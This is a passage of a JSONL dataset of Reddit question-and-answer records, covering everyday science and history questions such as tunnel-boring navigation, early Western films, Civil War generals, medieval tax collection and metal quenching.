["http://www.forbes.com/sites/timworstall/2016/05/22/what-venezuelas-food-rationing-tells-us-the-price-of-something-is-the-price-of-something/#4fdf4d0b7e49"]]}
{"q_id": "934vos", "title": "how do tunnel booring machines navigate under ground to such precision that they can dig from two sides and meet in the middle, almost dead on?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/934vos/eli5_how_do_tunnel_booring_machines_navigate/", "answers": {"a_id": ["e3amv7i"], "score": [7], "text": ["You can measure angles. distance and change in incline to a high precipitation  so you can know where the machine is. \n\nToday you use laser based system to fixed points to measure distance,  angles is measured with high precision in  the instrument that is called a [\nTotal station] (_URL_0_). the older non distance measuring instrument is a [Theodolite](_URL_2_) that have existed since the 16 century. There have been other similar devices in the past.\n\nSo by using instrument like that you can know the path of the tunnel.\n\nYou also need to know the starting point. [Surveying](_URL_1_) metods by measuring angles from multiple point and create triangles are called  triangulation. You only need to measure a single distance to calculate all other. The measured distance is done on some flate area.  Large scale surveying with high accuracy have been done on continent scale areas from the 19th century\n\n\n\nlaser distance meter have accuracy of 1.5 mm for distances of up to 1500 m. The angel measurement is up to 0.5 arc second. A arc second is 1/3600 of a degree. So the measuring equipment we have today manage what is need without a problem.\n\nDigging from two sides in a mountain was already done by the romans for aqueducts. The sometimes missed a bit but manage to connect them. So when it was possible with the equipment back then it is relative easy with modern surveying equipment."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Total_station", "https://en.wikipedia.org/wiki/Surveying", "https://en.wikipedia.org/wiki/Theodolite"]]}
{"q_id": "7pshdv", "title": "why would an employer require an active security clearance for an \"entry level\" job?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7pshdv/eli5_why_would_an_employer_require_an_active/", "answers": {"a_id": ["dsjofut", "dsjofyy"], "score": [3, 3], "text": ["because you are physically going to be in a space that requires a higher security clearance. they are giving you an excuse to be in and around high security individuals and information, regardless of entry level or not.               ", "This clearance is typically needed for someone who'll be exposed to, or have access to, classified info or facilities.\n\nIf you'll be attending one meeting a month where one classified item will be discussed, that's enough."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "rpuxl", "title": "Is there anything particularly special about our solar system's position in the galaxy that helped to facilitate the formation of life?", "selftext": "For instance, if we were closer to the galactic core, would it be more likely that there would be too much harmful radiation (\"cosmic rays\") for life as we know it? Or if we were further out towards the edge of the galaxy, might we not have abundant enough heavy elements from nearby supernovae?\n\nOr am I thinking about this incorrectly, and life is relatively equally likely on any rocky world with liquid water, regardless of its position in the galaxy?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/rpuxl/is_there_anything_particularly_special_about_our/", "answers": {"a_id": ["c47qhjj", "c47qiay", "c47rtdo"], "score": [2, 11, 2], "text": ["As far as I'm aware, the two largest factors hypothesized to affect intelligent life is whether a planet is around a star that will live long enough for life to evolve, and for the planet to be far enough away from a major event like a supernova. \n\nIf supernova are more common toward the core, it seems reasonable that intelligent life would be less likely.", "[Yes](_URL_0_), If we had been closer to the center of the galaxy, the earth would have been hit by supernova explosions more often, which would have inhibited the formation of higher life forms. On the other hand, the abundance of heavy elements is believed to be lower in the outer reaches of the galaxy, which would probably prevent the formation of rocky planets like the Earth.\n\nOn the other hand, stars can migrate from one part of the galaxy to the other during their lifetime, which complicates the whole issue immensely.\n\nEdit: I am not an astrophysicist, so dont take my amateur opinion as gospel.", "I know of two books, \"Rare Earth\" and \"Privileged Planet\", that cover this question (Note: the authors of \"Privileged Planet\" have clear religious motivations, but \"Rare Earth\" is entirely secular)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Habitable_zone"], []]}
{"q_id": "5hdy2y", "title": "why were many early movies westerns and why were other genres relatively slow to develop?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5hdy2y/eli5_why_were_many_early_movies_westerns_and_why/", "answers": {"a_id": ["dazfetc", "dazgtc0", "dazkkul", "dazqk9x", "dazsdpw", "dazskut", "dazxjlv", "dazyqtr", "db028km", "db03dxb", "db03jrv", "db0er29"], "score": [24, 676, 162, 7, 28, 3, 16, 2, 3, 2, 4, 5], "text": ["From what I understand westerns were easier to shoot because there was no need for a studio set for outdoor scenes, also there was less of a need for artificial lighting.", "Oh man 1 i can actually answer for once!!\n\nSo basically back in the 30s and 40s the Film Industry had a full monopoly and control over the whole visual entertainment, Since Television was not out till 1949. It was pretty normal for people to go out and see 5 to 7 movies a week at the time, so the Industry being a business first they found out that people liked certain genres more than others, this being Western, Musical, and Noir. Which such high demand for these films, the Industry would pump out hundreds of films a year for each genre.\n\nNow this did have draw backs at the time, since the Film Industry wanted to maximize profits, they didn't allow for director and writers to branch out and try new things in the business. Their ideals were make \" safe non offensive movies that everyone can recognize and want to see\", and since they controlled all aspects of the industry, the actors, writers, studios, directors, and even the cinema's and promotion were all employed by the industry majors. \n\nThis business model basically killed off film as an art form and a form of expression for a few years, until Television hit the scene in the early 50s, suddenly cinemas lost a lot of profits fast, and with the nature of competition in a business, The film Industry had to now adapt since now their average 5 - 7 views per persons a week is no longer a thing. They let go of their tight grip on director, actors, and writers, anything to get people back on those seats. More R rated films came out and other genres like Sci-fy blew up. At the same time they started trying out gimmick like 3D glasses. Basically you can thank Television for saving film as an art form. \n\n\n\nEDIT: The information I got for this post was given to me by my online college Library. [This video has all the information I stated above in full detail and more](_URL_1_). Not sure if it is Log in gated to non students. [But here is the direct link to their site seems to be a pay wall](_URL_0_)", "A) Westerns were extremely cheap to film\n B) Some of the cowboys were still alive or only recently died when the genre hit its peak, adding a hint of romantic nostalgia.  \nC) The increased availability to foreign markets helped as well, along with people fascinated by america's wild west.\n\nYou may have heard the term \"spaghetti western\".  They were called this because of the amount of italian companies financing them. Cheap and profitable with a global audience. It's partly why foreigners often think all americans have a \"cowboy\"  attitude. ", "A lot of what I'll say is speculation but let's start with the fact that Edison gets credit for making Hollywood the movie capital of America. Edison pretty much owned the movie business because he owned the patents for the technology so people who didn't want to deal with Edison went to the other side of the country.\n\n_URL_1_\n\nIt's impossible to know for sure but if the movie industry had stayed centered on the East Coast maybe you get more city dramas. \n\nNow consider films began silent. Even though there are productions such as Shakespeare plays, anything that really relies on dialogue is at a disadvantage. \n\nEven today people love watching good guys and bad guys shooting guns at each other. Westerns make this easy, along with the other popular early genre of gangster films. \n\nObviously there were no World War II movies before World War II. The American involvement in World War I was relatively minor and besides to do that subject takes a lot more than horses and a Western town studio lot. \n\nOn the other hand you had things like dime novels _URL_2_ and Buffalo Bill's show _URL_3_ telling stories about the Wild West. You have Oklahoma, New Mexico, and Arizona becoming states 1907 to 1912. With the majority of the US population o nthe East Coast, the Western becomes stories about another world far away.\n\nFinally, we get to simple star power like Tex Allen _URL_0_ and Roy Rogers _URL_4_ and their horses. People were happy to watch them do the same thing again and again. They didn't want to put them in suits or police uniforms or to pretend to be anything other than cowboy heroes. \n\nIt's easy to do a process of elimination where it was too early for some genres such as sci-fi, costs were an issue for other genres like the big musical productions, technology was not ready even for things like the early cheesy monster movies, and so on.\n\nAdd on top of that our distorted view backwards. Many early films have been lost. Many early films are in archives and no one really cares to bother since outside of historical interest there is little entertainment to modern sensibilities. I don't know if anyone has done percentages but I wouldn't be surprised to learn if Westerns were a smaller percentage of what was made but more of what we still care about from that era.\n\nThe Western is almost unique as a genre because it was a time and place concurrent with the start of movies but the Wild West no longer exists. Comedies, dramas, action, crime, horror, war, etc. evolve and move on but not the Western. We might finally be at a point where the genre has essentially reached its end where new Westerns are rare and quickly forgotten but it will always be iconic to the history and culture of the United States.\n\n", "It's cheap and easy to film movies like Westerns.  Modern films spend lots of money on locations, special effects, and props.  In a Western you don't need most of that.  The hills of Southern California are west-looking and easy to get to.  (Eventually they'd move to Italy and Spain because it was cheaper due to various factors.)  All the special effects you need are some blanks and some little explosives called squibs to replicate bullet hits.  The props are simple: a few wagons, some horses, and guns.", "In addition to the answers below regarding cost, etc.; remember that in a lot of the time period where movies became popular as a form of entertainment, many of the genres we today take for granted (science fiction, horror, etc.) either did not exist or were culturally a tiny part of what they are today.\n\nAs a parallel, look up some old (50's) Dennis The Menace cartoons and see that the boys' heroes were all cowboys around that time.  Spacemen weren't a thing yet.", "Somebody finally mentioned silents! Yes, class, there were movies before the 30s and 40s--they were also a thing in the 20s and teens and the aughts! In fact, they were quite a going concern pretty much right at their start in the 1890's. So, first of all, almost nothing outofnames11 said has any factual basis--your college library needs to up its game, bro (if bro you be). That comment was pretty fact-lite, sad to say. \n\nThe first films (in the US) were made in studios on the east coast, only later did they move out west to Hollywood, with Cecil B. DeMille and Lasky Studio, 1913. Not that their first film there, _The Squaw Man_, 1914, was the first Western genre film ever made; it wasn't. That was 1903's _The Great Train Robbery_, filmed in the Edison studios in New York City with location shooting in New Jersey. Many subsequent silents were made in these places.\n\nThere are probably many existential reasons why the Western has proven to be such a long-lasting and popular genre. At its start, however, as has been cited in other comments, it was all about the action. Silent pictures relied on action rather than speech, and during their time Westerns were a perfect fit for that. Another reason, and not the least of which, was because there were plenty of actual cowboys around to be in them. If one had been tripping over magicians in LA at the time, perhaps our film mythology would all be about top-hatted bunny-pullers, instead.\n\nFinally, I think it could be argued that without John Ford (director from silents forward) the Western would not have had the durability that the genre had. It would certainly lack most if not all of its most iconic offerings.", "Films often draw on the past and the Old West era only ended recently (Butch Cassidy lived right up until 1908). Many of the legends of the era were ripe for making movies or tv shows about ([Davey Crockett](_URL_0_) for example).\n\nOther factors include that it was relatively cheap to produce and appealed to all ages with it's action. ", "One reason was that, since the first movies were silent, your actors needed to be able to clearly express themselves *visually*.  Easy to do with action/adventure like a western.\n\nThe genre was already well-established with [dime novels] (_URL_0_) of the late 19th- and early 20th-centuries, so people knew what to expect.  Basically, bad guys rob a stage/train, the sheriff/hero shows up, there's a fistfight/gunfight, good guy wins.\n\nA western could be filmed with minimal expense and FX at that time, as horses, wagons, etc., would have still be quite popular.  Southern California at the turn of the century was still quite rustic, so locations would have been plentiful (and visually similar to scenes of Arizona, New Mexico, Utah, etc.).\n\nSo, low-cost and easy to tell a story.", "100% Nostalgia\n\nMake a movie about whatever someone was excited about during their early childhood years, and they will somehow stay enthusiastic about the same EXACT origin story being told by a dozen different actors and directors.  By the late 1920's when talkies were invented, the pulp western novel already had been popular among generations of kids and teens.  Today it's comic book superheroes.  Many fans of the actual paper comic books in any country will probably admit that this year's \"Superman vs. Batman\" and \"Captain America: Civil War\" are nowhere near the best written of the various comic book movie series.  Yet even bigger budget sequels are already planned for years to come.  That's the power of nostalgia: quality may be getting lousy, but it's the only chance they've got to recapture that childhood excitement just one more time.  ", "What no one has mentioned so far, is before movies where the mass entertainment of choice. That space was filled by dime novels \"pulps\". The most common genres for the pulp novel? Westerns and crime stories. \n\nThe movie makers just started shooting the stories that were already popular.\n\nThey also picked up Buster Keaton style physical comedy from vaudeville.  ", "i disagree with the common sentiment in this thread that there were so many silent westerns because westerns were cheaper to produce. cheaper than what? westerns required horses, horse wranglers, extensive set and costume design, stunt performers as well as outdoor shoots, all of which made westerns MORE expensive than, lets say, a murder mystery.\n\nthe popularity of western films can be traced directly to the popularity of western pulp novels. it was what people were interested in at the time. the interest in westerns begins in the 1860s when americans were fascinated with stories of frontiersmen and indians. pulp novelists invented a set of conventions that made western stories simple, moralistic, and exotic. their popularity lasted well into the film era, and the earliest filmmakers were simply tapping into the popular culture.\n\nthe question should be asked what about the spy and detective pulp novels? they were equally popular, but the detective genre didn't become popular in film for many decades. why? because those stories involved complicated labyrinthine plots and scintillating dialogue that silent films could not convey. westerns, on the other hand, were very visual with plots that could be articulated silently. \n\nand, as i think others have mentioned here, these films were all made in hollywood before the area was a massive suburb of downtown LA. back then the area looked like the set of a western with boulders and chaparral. \n\nin short, the earliest films were dominated by the western genre because A) the western was already extraordinarily popular, B) the stories could be conveyed through silent film and C) the locations were often easy to acquire.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.films.com/ecTitleDetail.aspx?TitleID=10242&amp;r=SR", "http://db26.linccweb.org/login?url=http://fod.infobase.com/PortalPlaylists.aspx?wID=97978&amp;xtid=8273"], [], ["https://en.wikipedia.org/wiki/Robert_Allen_(actor)", "mentalfloss.com/article/51722/thomas-edison-drove-film-industry-california", "https://en.wikipedia.org/wiki/Dime_novel", "https://en.wikipedia.org/wiki/Buffalo_Bill", "https://en.wikipedia.org/wiki/Roy_Rogers"], [], [], [], ["https://en.wikipedia.org/wiki/Davy_Crockett_(miniseries)"], ["https://en.wikipedia.org/wiki/Dime_novel"], [], [], []]}
{"q_id": "etmns0", "title": "What is a Fault Plane Solution, in the context of a measurement of an earthquake?", "selftext": "There has been an earthquake in eastern Turkey, and among other [measurements and maps](_URL_1_) there is a figure displaying this fault plane solution. This is the solution for the data from a [Moment Tensor](_URL_0_) but what are these readings?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/etmns0/what_is_a_fault_plane_solution_in_the_context_of/", "answers": {"a_id": ["ffiqfa6"], "score": [3], "text": ["An earthquake involves movement in a certain direction on a fault plane, a more-or-less flat surface oriented at a certain angle. The seismic waves from this can be modelled as a \"double couple\" source. In some directions the first wave that comes is a push, while in other directions it's a pull.\n\nBy observing the first motion of seismometers at different locations, the orientation of the double couple source can be worked out (with some error), giving two candidates for the fault plane. This is what is plotted as the fault plane solution, sometimes called the \"beachball diagram\".\n\nThe two nodal planes are described by their dip and strike. Strike is the compass bearing of a line on the plane that is horizontal, and the dip is how much the plane tilts down. The rake then describes the direction the earthquake moved on that plane.\n\nIt requires additional data or geological context to determine which of the two nodal planes is the actual fault plane."]}, "title_urls": [], "selftext_urls": ["https://earthquake.usgs.gov/earthquakes/eventpage/us60007ewc/moment-tensor", "https://earthquake.usgs.gov/earthquakes/eventpage/us60007ewc/executive"], "answers_urls": [[]]}
{"q_id": "19lyss", "title": "Instances of regular geometric shapes in nature", "selftext": "Are regular geometric shapes (not counting circles or spheres) really very rare in nature? \n\nWhy don't we see more straight lines, or regular polygons ? Any examples of these?\n\nEdit: Thanks for all the informative responses!\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/19lyss/instances_of_regular_geometric_shapes_in_nature/", "answers": {"a_id": ["c8p9pys", "c8p9qu1", "c8paujb", "c8pc3sd", "c8pchca", "c8pci0x", "c8pcj8i", "c8pdmni"], "score": [10, 6, 3, 2, 2, 6, 2, 3], "text": ["Many crystals form regular geometric shapes.", "One example is the northern pole of Saturn ([Wiki ref](_URL_4_), [blog ref](_URL_3_)).  This isn't completely unexplainable based on experiments of rotating fluids on Earth ([ref](_URL_0_)).\n\nOtherwise, and a bit closer to my heart, is the capsid head of the bacteriophage lambda virion ([picture](_URL_1_)).  The capsid shells of many viruses are based on triangles rather than spherical, fluid membranes ([Wiki ref](_URL_2_)).", "It's a matter of energy. For many crystals there are huge energy benefits to adopting some regular atomic arrangement. These atom arrangements result in observable straight lines. I think there is ambiguity about why honeycomb is the way it is, but one explanation is that shape is to minimize surface area. Also when we see very close to perfect spheres this is because this shape has a minimal surface area for a given volume. In other circumstances where we see blobs it is because there is no strong energy bias to drive the order. ", "[The facets of a lobster eyes are remarkably square.](_URL_0_)", "Snowflakes. I've seen some really good pictures of snowflakes on here recently", "I'm always amazed by [bismuth](_URL_0_)", "Sand dollars - google those.", "I know that the lymphatic vessels in rodent tail dermis form rough hexagons. Not informed enough to comment on the precise genesis of this shape, however."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://news.sciencemag.org/sciencenow/2010/04/saturns-strange-hexagon-recreate.html", "http://textbookofbacteriology.net/phagestructure.jpg", "http://en.wikipedia.org/wiki/Capsid", "http://www.universetoday.com/98699/saturns-strange-hexagon-in-living-color/", "http://en.wikipedia.org/wiki/Saturn%27s_hexagon"], [], ["http://www.harunyahya.com/image/god_design_in_nature/lobster.jpg"], [], ["http://imgur.com/8qLr7eo"], [], []]}
{"q_id": "23vjrf", "title": "Why were Southern Generals better (or considered better) than Northern Generals in the US Civil War?", "selftext": "As a Canadian I finally got around to watching the excellent Civil War documentary by Ken Burns. Something which was talked about and it felt like too is that the Southern Generals were so much better than the North. \n\nIs this this true and what are the reasons behind this. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/23vjrf/why_were_southern_generals_better_or_considered/", "answers": {"a_id": ["ch1morb", "ch1q9in"], "score": [2, 19], "text": ["I'll just add to what's been said so far that if you look at the north's \"better\" Generals like Sherman, Sheridan, and Grant, they don't assume theater-level commands until much later in the war, and all three came out of the western theater, which is broadly overlooked. In the popular imagination Gettysburg looms so much larger than the fall of Vicksburg to Grant, a feat which was deemed near-impossible as Vicksburg was the \"The Gibraltar of the West.\"", "Lets try and cut through some of these misconceptions, yes?\n\nRight after the Civil War, there was something called the myth of the \"Lost Cause.\" It was pioneered by [Edward A. Pollard](_URL_0_), A Richmond journalist who wrote a history of the war in 1866, called (can you guess?) *The Lost Cause*. Basically, the book says that the Confederacy was a glorious agrarian state, and was defended by the best armies in American history. Pollard argues that the Armies of the Confederacy were more motivated, they fought better, they were led by better officers, and they were fighting for a noble and glorious cause (the defense of the antebellum south). Many historians, especially in the late 19th and early 20th centuries, repeated this myth and rebuilt it into its modern, \"acceptable\" form.  Basically, they repeated it so often, and so loudly, that the \"Lost Cause\" became accepted as truth. Men like Douglas Southall Freeman, and even Ken Burns, have been influenced by the \"Lost Cause\" mythos. More recent historians have moved away from the \"Lost Cause\" myth, but the myth is still incredibly powerful, especially in conservative and southern circles, where the myth is undergoing yet another reinvention. \n\nSo, what of the original question? Were the South's generals really better, or what? Well that depends. As Im sure every other person in this thread will gladly point out, Robert E. Lee was repeatedly able to produce battlefield successes; hes called the American Napoleon for good reason! But he also failed strategically, by wasting the South's precious manpower in offensive battles that cost the Confederacy more than it gained. \n\nAnd on the other hand, Ulysses Grant maximized the Union's advantage, especially in the Overland Campaign, by using multiple armies to attack the Confederacy all along its border. This strategy prevented the Confederates from reinforcing one area after another, as they had done in 1863, and it also stretched the CSA's manpower to its very limits. So, there, you could say that Grant better adapted his strategy to the unique strengths and weaknesses of the resources at his disposal. In addition, he waged a spectacular series of campaigns, first in Mississippi against Vicksburg, then later against Lee in Northern Virginia, which achieved remarkable battlefield success. \n\nWhat held Grant back, and what held both the Confederacy and the Union back throughout the war, was the state of professionalism in the wartime armies. Many of the Generals who fought in the American Civil War, on both sides, really werent generals at all. Lee was a Colonel before the war, Grant was a washed up Captain, Winfield Scott Hancock was a quartermaster, Sherman was a Colonel at First Bull Run, etc. Nobody really had the command experience required to maneuver large forces either strategically, or tactically. Unlike in Europe, where generals learnt how to be generals for decades before a war put their training to the test, in America, these men had to learn on the job. What that meant was that those with natural talent, like Lee, Grant, and Sherman, floated to the top, while everyone else made a  mockery of warfighting.  And when a commander would be wounded, or worse promoted, their subordinates would have to come up to fill the gap, regardless of skill or training.  The Armies needed officers, and it was too late to shove a new batch through West-Point to make a general staff. \n\n Thats why we often look at the Union Army, especially the Army of the Potomac under Hooker and Burnside, and snicker. They look so *dumb*, and these men were give *command of an army*. But really, I think if you look at what was going on in the Western theatre, and if you look at the Corps commanders of the Army of Northern Virginia, Grant and Lee were the exceptions, not the rule. They were the cream that rose to the top. Even men like Longstreet and \"Stonewall\" Jackson had *major* problems with commanding their forces in the field, Longstreet did poorly without Lee's supervision, and Jackson did so *with* it. \n\nSo I think thats the real issue with Generalship in the Civil War. The South was fortunate to have found Lee so early on, while Grant was a gem that had to be dug out of the rough.\n\nIf youre interested in reading a *book* on the topic, I would recommend Russell Weigley's *A Great Civil War*. Its one of the best books Ive ever read on the Civil War, and trust me Ive read a lot. Plus, Weigley breaks down the strategic and tactical paralysis which plagued the Union, and explains some of the things Ive just talked about far better than I ever could. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Edward_A._Pollard"]]}
{"q_id": "9asznt", "title": "It's around 1000 C.E. in Europe. A man I don't recognize claims he is the new tax collector for my new lord. How do I know he is legitimate?", "selftext": "If the land I was farming was annexed to a new lord, how would I know who to pay? What if I refused? How do I even know my lord has been replaced? Would I even care?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9asznt/its_around_1000_ce_in_europe_a_man_i_dont/", "answers": {"a_id": ["e4ybv6t"], "score": [1125], "text": ["From an [earlier answer](_URL_0_) on tax fraud and preventing it in 9th-10th century Byzantium, with some new information about England for comparison:\n\nDistribution of land ownership and use in the rural Byzantine Empire was definitely not even. By the eleventh century, there were some very powerful large-scale landholders (including monasteries, although at least in urban areas, sometimes even a monastery was controlled by an aristocrat), a few small landowners hanging in there, and then most of the population would have been *paroikoi* or dependent peasants: tenant farmers. \n\nFor the powerful landowners, including monasteries, tax collection was mostly a game of tax *evasion*. Tax collectors remained a popular bogeyman of Byzantine literature and art as they had been in Roman times, and this hostility was mirrored by practice. Owners might work to avoid periodic visits by imperial tax assessors to revaluate their land at a higher tax amount, pay their taxes using a debased currency, or send someone chasing after a tax collector to steal back the money. (Anna Komnene tells a similar story in her *Alexiad.*)\n\nMost Byzantine people, however, were peasants who were responsible for paying their taxes (a) collectively and (b) often indirectly. The tenant farmers paid most of their tax burden to the owner of their land. In a case like that, they would presumably be fairly familiar with the people involved. Otherwise, taxes were levied collectively on a village. This had the advantage, for the peasants, of helping out if one family had a rough year. It had the disadvantage of--one of the reasons for this system--that local land abandoned or unfarmed was still part of the total levy for an area. So people had to cover for each other. But tax evasion was at least sometimes practiced by peasants--or at least, financial documents complain about peasants who simply *disappear* when they know a tax collector is in the area!\n\nAs for identifying the tax collectors themselves: at least some tax officials, most prominently the *kommerkiarioi* (who, as their name indicates, were involved with regulating commerce), had official imperial seals. [This Google Books preview](_URL_1_) shows a couple of them, although they are both ninth century. Seals were pretty serious business in medieval Europe. The collective payment and indirect payment methods certainly suggest that at least some of the people involved would have been able to recognize the seal for what it was (medieval peasants are, as a rule, stereotyped in contemporary sources as stupid, but at least from later legal sources we can see a good deal of ability to negotiate successfully the demands of a more literate and educated \"elite\" culture).\n\nLater medieval English manors evolved their own effective system of preventing impostor tax collectors: have the peasants elect one of their own to the job. Out of all the options for compulsory extra service, this wasn't the worst one in the world: it usually gave the collector a chance to skim some off the top for themselves. Well, it wasn't the worst until the Peasants' Revolt of 1381, when rent-collectors might find themselves lumped in with the targets of rebel anger and weaponry."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/5jfc38/im_a_farmer_in_mid_10th_century_byzantium_and_a/dbg3fge/", "https://books.google.com/books?id=86Of2XxW2NMC&amp;pg=PA40&amp;lpg=PA40&amp;dq=tax+collector&amp;source=bl&amp;ots=QrkuiQ01ca&amp;sig=zyIlQMc72Xz_EP0bBx8c4pRfV40&amp;hl=en&amp;sa=X&amp;ved=0ahUKEwiZ3bmDioTRAhVJ5GMKHf9aCMgQ6AEINDAE#v=snippet&amp;q=collector&amp;f=false"]]}
{"q_id": "1t7rlp", "title": "why scientists don't strap a heavy duty camera onto a sperm whale and see what's at the bottom of the sea?", "selftext": "In a recent askreddit thread someone sead this\n\n > A sperm whale can dive down to 3 kilometers deep, which is a record in the animal kingdom. They primarily eat squid. They've also been found to have giant suction marks on their body, suggesting there's something really, really big down there.\n\nSo why don't we put a recording instrument that can withstand the pressure on a sperm whale and see what's down there? I am sure there is a simple answer I'm just not getting it", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1t7rlp/eli5why_scientists_dont_strap_a_heavy_duty_camera/", "answers": {"a_id": ["ce5ap7h", "ce5btbc", "ce5d5r1", "ce5dy5e", "ce5eber", "ce5frd5", "ce5g6sw", "ce5h7ds", "ce69n1m"], "score": [25, 31, 2, 2, 18, 8, 2, 2, 2], "text": ["First of all, 3 km isn't that deep.  The deepest part of the ocean, the [Mariana Trench](_URL_3_), is 10 km down.  The Atlantic Ocean averages 3.3 km, so there are likely to be areas a Sperm Whale won't be able to reach.  It's worse for the Pacific: 4 km.\n\nSecond of all, what are you going to see with a heavy duty camera?  Nobody uses cameras for ocean research except right at the bottom.  You want to see the fish out there?  Sonar's much more efficient.  Of course, that'll likely screw with the *whale* as well, so sonar's a bad choice as well.\n\nFinally, you mention giant suction marks.  They're not really a mystery.  We've found the bodies of giant squids in the past, and just recently the Japanese recorded one swimming around.  We really don't need to strap a camera on a whale to find them.\n\nOf course, it might be pretty exciting to see a Giant Squid vs. Sperm Whale battle, which is probably the one thing a camera might be good for.  Well, kinda.  You really want the camera a few feet away from them rather than strapped to the whale's head, right?  So here's what I suggest you do instead:\n\nStare at [this photo](_URL_1_) while listening to [this music](_URL_0_).\n\nOr just watch [this video](_URL_2_).", "They've captured a giant squid on camera, and it's huge. [Video](_URL_0_)", "Why use a whale, when we can use a submarine?\n\nWe have no control over where a whale goes, as opposed to a sub, which we can control. Also a sub can have lights, sensors, scopes to take samples... and we don't have to catch a whale.", "We have strapped instruments to them before. The instruments often get destroyed of fall off (and rise to the surface). We humans aren't infallible tech gods just yet.", "This has been done.\n\n\n_URL_0_", "National Geographic did just that with their crittercam program, where they attach cameras to various animals to see how they act in their natural environment.\n_URL_0_", "This did this already. It's called Critter Cam and here is a [video](_URL_0_) of one attached to a sperm whale. ", "They tried it, but when they reached a certain depth another whale comes and knocks it off! This is amazing video: _URL_0_ . \n\nRecommend you watch it stoned, and you'll wish you were a whale too.", "What if multiple photo lensing devices were used, in the same way we photograph and film stars to see various aspects of it? Yes, water absorbs light. We can't get around that. And yes, shit is expensive. We also can't seem to get around that. Sperm whales apparently don't light to be filmed with the light on. That's okay too. Multiple cameras harnessed to a whale, either using degrading adhesives or not, GPS devices, and retrieval teams. It'll cost money but probably not as much as the next submersible and if you have James Cameron make a documentary about it and David Attenborough narrate, it'll generate enough profits to cover the costs. Hell, somebody could actually take it seriously and focus on generating revenue for research via donations. There are people who would totally dig this idea."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.youtube.com/watch?v=GHAOkDamRzU", "http://upload.wikimedia.org/wikipedia/commons/c/c5/Display_of_sperm_whale_and_giant_squid_battling_in_the_Museum_of_Natural_History.jpg", "http://youtu.be/ou1EBRxLQJs?t=5m17s", "http://en.wikipedia.org/wiki/Mariana_Trench"], ["http://dsc.discovery.com/tv-shows/curiosity/videos/first-video-of-a-giant-squid.htm"], [], [], ["https://m.youtube.com/watch?v=W_PuO7gzfqI&amp;desktop_uri=%2Fwatch%3Fv%3DW_PuO7gzfqI"], ["https://www.youtube.com/watch?v=W_PuO7gzfqI"], ["http://www.youtube.com/watch?v=W_PuO7gzfqI"], ["http://www.youtube.com/watch?v=DArqBmkO_p0"], []]}
{"q_id": "9ya246", "title": "what does quenching do?", "selftext": "Why do blacksmiths and such \u201cquench\u201d the metal after hearing it with water or oil? What does it actually do?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9ya246/eli5_what_does_quenching_do/", "answers": {"a_id": ["e9zv96d", "e9zwidc"], "score": [4, 2], "text": ["There is something called a phase diagram for materials.  \n\n\nFor steel for example, depending on how you treat it, you end up with different forms of steel, by the size of the grains it forms.   \n\n\nQuenching is typically done to make a hard steel, martensite.  It works because after the steel is heated, the liquid is able to cool the steel much quicker than air, reducing the amount of time the steel is in other temperature ranges that other forms of steel could form. ", "Metal has different properties at different temperatures, primarily strength and flexibility, which tend to be inversely proportional (higher strength, less flexibility, etc).\n\nA very hot metal will slowly cool down over time, and it will go through a handful of phases as it does so, changing the properties of the metal. Eventually it cools down to room temperature, and it's properties are dependent heavily on how long it took to cool.\n\nIf you quench a very hot metal in the water, you aren't giving it enough time to properly cool down, and as a result the individual atoms don't have a chance to make it into their normal arrangement. This irregular arrangement produces unique but predictable changes in the properties of the metal; done just right can increase the strength many times over.\n\nWhat actually causes this is left over stress. Think about a really strong spring. It's not too hard to compress it a little, but the more you compress, the harder it becomes to compress by the same amount. If you wanted to prevent that spring from bouncing a lot, you might consider compressing it some to begin with, that way any additional compression is going to take a lot of effort. Quenching works in a similar way. By cooling down real quick, you leave atoms stuck in a non-preferred way, which causes them to push at each other pretty hard, introducing a lot of stress. In order to move those atoms at all, you must not only have enough force to cause normal movement, but you must also have enough force to overcome the internal stress of the atoms. \n\nTL;DR Atoms taken out of their comfort zone will be stubborn and not budge much when you try to push them. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5j6wjz", "title": "why are the flags at half mast so much?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5j6wjz/eli5_why_are_the_flags_at_half_mast_so_much/", "answers": {"a_id": ["dbdscdx", "dbdskp7", "dbdtv5v", "dbe29ko", "dbe6g75"], "score": [50, 8, 37, 7, 7], "text": [" >  Why is the flag down so much??\n\nFor the last ten days the flag has been at half-staff in memory of John Glenn, who you may recall was the first American to orbit Earth among other accomplishments. Prior to that, the 5th involved a half-staff for Pearl Harbor.", "The flag was recently at half staff (half mast is aboard ships) for the death of John Glenn.  Previously (at least at federal installations) it was the death of a former SecDef.  Prior to that, one of the Soldiers killed in Jordan was from St. Louis.  Here's a list of state and federal proclamations.\n\n_URL_0_ ", "The US flag is flown at half-mast by law in certain specific instances, like the death of a President, Vice President, Speaker of the House, on Memorial Day, September 11th and a few other occasions.\n\nIt can also be ordered flown at half-mast on other occasions by the President (or by the Governor of any State with respect to flags flown in that State.)\n\nThe short answer is that recent Presidents have issued more frequent orders for the 